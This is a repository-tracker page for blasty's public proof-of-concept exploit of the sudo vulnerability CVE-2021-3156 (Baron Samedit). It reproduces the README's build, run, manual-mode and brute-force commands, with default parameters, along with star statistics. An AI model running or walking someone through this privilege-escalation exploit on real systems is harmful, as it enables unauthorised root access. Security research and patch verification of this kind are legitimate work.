blasty/CVE-2021-3156
blasty/CVE-2021-3156 has 1,032 GitHub stars and 234 forks. GitHot measured +1 in 7 days. Last checked 2026-11-11 02:19 UTC. Last push 2021-02-02.
This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys).
Measured star growth
- in 24h
- Update delayed
- in 7 days
- +1
- in 15 days
- Collecting history
- in 1 month
- Collecting history
Net star changes over overlapping periods, not daily totals. Missing measurements are left blank. Stars measure attention, not software quality.
README.md
OriginalCVE-2021-3156 PoC
Introduction
This is an exploit for the CVE-2021-3156 sudo vulnerability (dubbed Baron Samedit by Qualys).
Usage
build:
$ make
list targets:
$ ./sudo-hax-me-a-sandwich
run:
$ ./sudo-hax-me-a-sandwich <target_number>
manual mode:
$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
Bruteforce target finding (experimental)
Make sure you have GNU parallel installed.
$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>
some defaults to try:
$ ./brute.sh 90 120 50 70 150 300
Will eat up all available cores. Don't try to netflix & brute.
Contributing
Send (sensible) PR's, I might merge.
Some ideas:
- More targets
- Target finding
- Other exploitation strategies
- More self contained functionality:
- Embed shared library hax.c (Make it small please, ELF golf + asm setuid/execve stub)
- Add mkdir logic to hax.c
- Directory/shared library cleanup
Explore related projects
codecrafters-io/build-your-own-x
Master programming by recreating your favorite technologies from scratch.
561,691 starspublic-apis/public-apis
A collective list of free APIs
498,087 starsmorluto/rea
Reverse engineer anything with agents, from app behavior down to native binaries.
451,145 starsopenclaw/openclaw
The AI that really does things. Any OS. Any Platform. The lobster way. 🦞
394,316 stars